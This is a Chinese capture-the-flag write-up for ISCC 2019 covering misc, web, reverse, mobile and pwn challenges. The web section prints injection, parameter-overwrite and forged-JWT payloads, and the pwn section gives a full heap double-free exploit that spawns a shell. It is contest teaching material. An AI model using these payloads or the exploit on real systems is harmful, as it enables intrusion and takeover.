ISCC 2019 writeup

    xiaoxiao2023-09-29  151

    ISCC2019 writeup

    Misc1. 隐藏的信息2. 最危险的地方就是最安全的地方3. 解密成绩单4. Welcome5. 倒立屋6. 无法运行的exe7. High起来!8. 他们能在一起吗?9. Keyes' secret10. Aesop's secret11. 碎纸机 Web1. web12. web23. web34. web45. web56. web6 Reverse1. answer to everything3. dig dig dig4. 简单Python5. Rev047. Rev01 MobileMobile01 Pwn2. Pwn02

    Misc

    1. 隐藏的信息

    下载压缩包,解压缩拿到一个文本文件,打开发现是一堆八进制,写个脚本来ASCII值转字符串,转完之后发现是一个base64加密,将一开始的脚本修改一下,添加base64转码功能,再次运行拿到flag

    import binasciiimport base64x="0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 " \ "066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 " \ "0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113 " x = x.split() z = '' for i in range(len(x)): y = str(hex(int(x[i], 8)))[2:] a = str(binascii.a2b_hex(y)) z += str(a) z = base64.b64decode(z) print(z)

    2. 最危险的地方就是最安全的地方

    题目文件解压后是一张JPG图片,盲猜带有压缩包,后缀改为zip解压缩,拿到50张二维码,发现最后一张的图片文件格式和其它49张不一样,记事本打开,开头就看到flag

    3. 解密成绩单

    题目文件解压后拿到一个exe文件,用各种misc做题方法尝试后均无果,猜测其实是简单的逆向题,用ida打开: ​​ 看到检查输入的函数,跟入直接看到要求的用户名和密码,直接复制粘贴到程序输入框内点击ok即可拿到flag

    4. Welcome

    改后缀解压得到.txt文件,打开发现由“蓅烺計劃 洮蓠朩暒”和“戶囗 萇條”组成的编码,将前者用0替换,后者用1替换,得到011001100110110001100001011001110111101101001001010100110100001101000011010111110101011101000101010011000100001101001111010011010100010101111101 ​​ 二进制转到字符串即可得到flag ​​

    5. 倒立屋

    lsb加密,使用stegsolve三色道分析神器查看lsb加密内容,然后将看到的字符,顺序反过来,即为flag ,是不是很坑 ​​

    6. 无法运行的exe

    解压题目后拿到exe文件,发现无法运行,winhex查看发现是个其实文本文件,文本内容像是图片base64转码,用在线base64转图片工具发现无法转图片,自己写个py脚本实现,如下:(将原文件名重命名为1.txt)

    import base64 a=open('1.txt','rb').read() d=base64.b64decode(a) filename='2.png' with open(filename,'w') as file_project: file_project.write(d)

    打开2.txt查看发现是png文件,改为png后缀打开,发现报错,百度png文件格式,发现头部数据被修改了,改回来: ​​这是我们转码后拿到的文件开头hex值,png文件开头应为:89504E470D0A1A0A 修复文件头后打开是二维码,用QR扫码工具扫描拿到flag

    7. High起来!

    解压缩拿到一个二维码图片,扫码后拿到一串当铺密码,在线工具解码拿到一串数字。个人觉得这不是flag,提交了一下尝试,果然不是,发现二维码图片大小异常,比普通二维码大了不少,猜测包含其他文件,binwalk跑一下发现压缩包,解压后是一段mp3音频,用mp3隐写工具解密,推测一开始拿到的数字是密钥,解密出来文本,是html编码,在线工具解码拿到flag

    8. 他们能在一起吗?

    首先得到一个二维码 UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q= BASE64解密为:PASS{0K_I_L0V3_Y0u!} 从二维码分离出一个加密了的压缩包,用刚才得到的密钥解密的到含有flag的.txt文件 得到flag:ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}

    9. Keyes’ secret

    仔细看一下文件开头的字母,结合提示,发现就是一个简单的键盘加密(画键盘),而且似乎每一个字母的加密方式都一样,用文本的替换功能即可获取原文。 例: ​​

    10. Aesop’s secret

    动态图的每一帧只显示图片的一部分,用stegsolve神器的"Frame Browser"将其每一帧保存出来,用ps合成一下,或者用stegsolve的"Image Combiner"功能里的"add"直接将图片内容合到一起,发现图片内容是"ISCC" 再用stegsolve的 “File Format” 查看图片信息的时候发现其所转换的ascii码的内容是密文, 推测ISCC是密钥,通过两次AES解密拿到flag

    11. 碎纸机

    用binwalk检查下给出的这张jpg图片,发现有个压缩包,解压缩拿到10张拼图文件,提示说欧鹏曦文同学可以恢复其原貌,但要给它真正有用的东西,用winhex查看发现每张拼图文件结尾都多了一串等长的hex值,将其提取出来。根据谐音推测欧鹏曦文指的是opencv,是一种计算机视觉库,处理图形用的。应该是要把多出来的hex值转为图片,多出来的十串hex值长度都为2500,刚好是50*50,但是百度了好久也没有找到opencv创建图形文件后如何处理每个坐标处像素的教程,于是用了image库,脚本如下:

    # coding=utf-8 from PIL import Image import matplotlib.pyplot as plt X=50 Y=500 pic = Image.new("RGB",(X,Y)) str = open('0.txt').read() #我将十段hex值都写进一个txt文档了,方便处理 i=0 for y in range (0,Y): for x in range (0,X): if(str[i] =='1'): pic.putpixel([x,y],(0,0,0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") # _oo0oo_ 虽 但 我 # o8888888o 然 没 的 # 88" . "88 我 这 脚 # ( -_- ) 并 段 本 # 0\ = /0 不 注 跑 # ___/`---'\___ 迷 释 不 # .' \\ // '. 信 时 动 # / \\ : // \ , , 。 # / _ -:- - \ 。 # \\\ - /// 。 # \_ ''\---/'' _/ # \ .-\__ '-' ___/-. / # ___'. .' /--.--\ `. .'___ # ."" '< `.___\_<>_/___.' >' "". # : `- \`.;`\ _ /`;.`/ - ` : # \ \ `_. \_ __\ /__ _/ .-` / / # =====`-.____`.___ \_____/___.-`___.-'===== # `=---=' # # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # 佛祖保佑 永无BUG

    图片内容被ps过,不过不影响查看flag

    Web

    1. web1

    查看源码

    <?phperror_reporting(0); require 'flag.php'; $value = $_GET['value']; $password = $_GET['password']; $username = ''; for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } } highlight_file(__FILE__);

    发现关键的几个地方 1.存在chr函数 2.存在intval函数 由此,我们需要构造不同的value[i],这里通过if过滤掉了username字符中出现的ascll码,但 是,chr函数在处理大于256的ascll时会对256进行取余,所以我们在原字符的ascll码上+256即可。

    intval由于存在弱类型转换的问题,在转换时的值会小1,轻松绕过判断,最终构造payload:

    http: //39.100.83.188:8001/?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x91d

    2. web2

    提示3位数密码,不用说肯定是爆破。但是存在于验证码,我们先抓包 我们去爆破却失败了,这是为什么呢? 关键就在于这个cookie 不改变cookie,得到的结果永远都是一样的,所以这里我们直接删除cookie重新爆破。 ​​看到996返回length不同,尝试用996去登录,得到Flag。

    3. web3

    二次注入,首先注册用户admin’–xx(xx代表任何字符,这里#好像被过滤了),登陆之后修改密码,这里直接修改了admin的密码,再以修改的密码以admin为username登陆,拿到flag

    4. web4

    进来审计源码

    <?php error_reporting(0); include("flag.php"); $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; $parsed = parse_url($_SERVER['REQUEST_URI']); if(isset($parsed["query"])) { $query = $parsed["query"]; $parsed_query = parse_str($query); if($parsed_query!=NULL) { $action = $parsed_query['action']; } if($action==="auth") { $key = $_GET["key"]; $hashed_input = hash('sha256', $key); if($hashed_input!==$hashed_key) { die("<img src='cxk.jpg'>"); } echo $flag; } } else { show_source(__FILE__); }?>

    审计发现,我们必须提供两个参数action和key,并且使用sha256进行哈希处理后必须等于代码顶部的哈希值。 首先试一下解密hashed_key的值,但是很不幸并没有解密出来。 但是我们看到出现parse_str()函数,变量覆盖的典型代表函数,所以直接变量覆盖掉hashed_key 构造payload:

    action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

    5. web5

    提示 看来你并不是Union.373组织成员,请勿入内! 改u-a头 后:请输入用户名 注入,过滤了圆括号,注释符,from等等 payload :order by 排序盲注 ​​ 改变’0’的值,通过排序,逐个爆出密码

    6. web6

    这是一个构造jwt头攻击的题目。 进入题目后查看源代码,在common.js文件里找到关键信息:

    function getpubkey() { /* get the pubkey for test /pubkey/{md5(username+password)} */ }

    很明显是个公钥获取提示,将自己注册的用户名和密码合在一起取md5值,以此访问公钥文件。 拿到公钥

    {"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

    但很明显,公钥是有格式的,直接拿来用坑定不行,用python的print命令输出一下,防止人工修格式修错,然后将其复制到txt里

    a="-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----" print a

    用这个公钥构造token头访问list

    import jwt import base64 public = open('1.txt','r').read() print (jwt.encode({"name": "xibai21","priv": "admin"}, key=public, algorithm='HS256'))

    token头自然是抓包将原本的换为我们自行构造的token,注意token头中的name是自己的公钥对应的用户名,admin自然是管理员用户名。 发包后在list中看到关键信息: ​​ 访问/text/admin:。。。。。。,即可拿到flag

    Reverse

    1. answer to everything

    ida载入main函数一键f5,审计一波发现以下关键: ​​ 不带任何标签提交,结合题目提示sha1, kdudpeh 的sha1值即为所要flag 2. Rev03

    3. dig dig dig

    用IDA载入分析 ​​ 发现对字符串进行了三次加密 分别为BASE64,ROT13,UUencode ​​ 对字符串逆着进行三次解密,得到flag ​​

    4. 简单Python

    题目内容很简单 提示说要逆向一个pyc 虽然没有了解过这个东西,不过在网上找到了在线的反编译工具 直接拉进去 运行 得到如下内容:

    import base64 def encode(message): s = '' for i in message: x = ord(i) ^ 32 x = x + 16 s += chr(x) return base64.b64encode(s) correct = 'eYNzc2tjWV1gXFWPYGlTbQ==' flag = '' print 'Input flag:' flag = raw_input() if encode(flag) == correct: print 'correct' else: print 'wrong'

    这就很棒了 源码都有了 什么是逆不出来的 这里需要注意一下的是correct的内容最好不要用网上的Base64解码工具解码 最好用Python的base64模块解码 简单写一下Python得到decode后的字符串

    y\x83sskcY]`\\U\x8f`iSm

    然后写一个脚本,跑一下就出来了 脚本如下:

    #include <iostream> using namespace std; int main () { char buffer[512]="y\x83sskcY]`\\U\x8f`iSm"; for(int i=0;i<strlen(buffer);i++) { buffer[i]-=16; buffer[i]^=32; } for(int i=0;i<strlen(buffer);i++) cout<<buffer[i]; return 0; }

    5. Rev04

    拉入od提示文件损坏,去百度elf文件的格式,发现其格式不固定,格式基本固定的地方又没有发现有什么明显的错误,但是记事本打开查看内容时发现一串极为可疑的字符: ​​ 数了下长度,符合base64加密的密文长度,base64转码,果然有问题:

    uggc://VFPP2019{hey_frrzf_ebggra_jvgu}pgs.pbz

    显然是flag密文,多次解密尝试后发现是rot13加密,在线解rot13即可 6. Rev02

    7. Rev01

    这是一个rust逆向。载入ida分析 ​​ 需要留意,rust语言写出来的程序其主函数为“beginer_reverse::main::…”,所以对main反编译是找不到正确的东西的。 ​​ 进入之后即看到一串明显像是密文的东西。向下翻找到唯一一个具备加密转码性质的代码 ​​ 其中 v33 恰是开头的v0,很明显就是将上面的内容转码后和输入进行比对,仔细审计中间的代码会发现v15对应的是输入。写出解密脚本:

    #coding=utf-8 cipher = [0x00000154,0x00000180,0x000001FC,0x000001E4,0x000001F8,0x00000154,0x00000190,0x000001BC,0x00001BC,0x000001B8,0x00000154,0x000001F8,0x0000194,0x00000154,0x000001B4,0x000001BC,0x00001F8,0x00000154,0x000001F4,0x00000188,0x00001AC,0x000001F8,0x00000154,0x0000018C,0x00001E4,0x00000154,0x00000190,0x000001BC,0x154,0x90] #以上数据经过转码后拿到数据要进行一次ascii码转换,但是第一次转出来的是str类型下的数字,不能直接输出ascii码对应的字符,所以需要用chr()处理一下 cipher2='' for i in range(len(cipher)): cipher2+=chr((cipher[i]>>2)^0xA) print cipher2 #也可以用一个直接点的代码处理 cipher1 = ''.join(map(lambda x: chr((x>>2) ^ 0xa), cipher)) print cipher1

    Mobile

    Mobile01

    使用jeb查看反汇编代码,发现有两个关键函数 checkFrist 和 checkSecond checkFrist查看其内部内容发现是检查输入字符串,要求字符串长度为16位,范围在1到8之间 checkSecond在Native层里面,调用的是c/c++代码,jeb中无法查看,用ida打开apk包里面的lib下的so文件(ida需要加载jni模块,不然反汇编的代码相对会比较复杂,不利于逆向分析)。 发现checksecond函数中要求前八位必须是递增关系,即前八位为“12345678” 后八位则给了相关约束条件,写一个脚本跑一下即可:

    #调用z3求解器 from z3 import * import time #记录计算时间用,舍弃也可以 t1=time.time() #记录计算时间用,舍弃也可以 #设一个解决样例 solver=Solver() #设置样例flag长度 flag=[Int('flag%d'%i) for i in range(16)] #给flag的每一位添加范围约束(09for i in range(16): solver.add(flag[i]>0) solver.add(flag[i]<9) #设置样例flag前八位数值 for i in range(8): solver.add(flag[i]==i+1) #添加逆向分析时得到的条件约束 solver.add(flag[9]+flag[14]==14) solver.add(flag[8]<=3) for j in range(1,8): for k in range(0,8): if(k>=j): break solver.add(flag[k]!=flag[j]) solver.add(flag[k+8]!=flag[j+8]) solver.add((flag[j]-flag[k])!=(flag[j+8]-flag[k+8])) solver.add((flag[j]-flag[k])!=(flag[k+8]-flag[j+8])) #这个检查应该是判断是否有解,有则输出flag,无则报错 if(solver.check()==sat): m=solver.model() s=[] for i in range(16): s.append(m[flag[i]].as_long()) print(bytes(s)) else: print('error') t2=time.time() print(t2-t1)

    Pwn

    Pwn01

    2. Pwn02

    from pwn import * #context.log_level = 'debug' IP = '39.100.87.24' PORT = 8102LOCAL = 0 if LOCAL: sh = process('./pwn02') else: sh = remote(IP, PORT) def debug(cmd=''): gdb.attach(sh, cmd) pause() def malloc(idx, size, ctx): sh.recvuntil('> ') sh.sendline('1 '+str(idx)) sh.sendline(str(size)) sh.sendline(ctx) def free(idx): sh.recvuntil('> ') sh.sendline('2 '+str(idx)) def puts(idx): sh.recvuntil('> ') sh.sendline('3 '+str(idx)) malloc(0, 0x58, "aa") malloc(1, 0x58, "bb") malloc(2, 0x58, "cc") malloc(3, 0x80, "dd") malloc(4, 0x10, "ee") # unsorted bin leak free(3) puts(3) leak = sh.recvuntil('\x7f').ljust(8, "\x00") leak = u64(leak) libc_base = 0 if LOCAL: libc_base = leak-3951480 else: libc_base = leak-3951480 # ubuntu 1604 server log.success("libc base: %s" %hex(libc_base)) # double free free(0) free(1) free(0) payload = "f"*80 payload += p64(0)+p64(0x61) payload += p64(0x600dba) malloc(5, 0x58, payload) malloc(6, 0x58, "gg") system = libc_base + 0x45390 payload = "h"* 6 + p64(system)*2 malloc(7, 0x58, payload) malloc(8, 0x20, "/bin/sh\x00") free(8) #debug() sh.interactive()
    最新回复(0)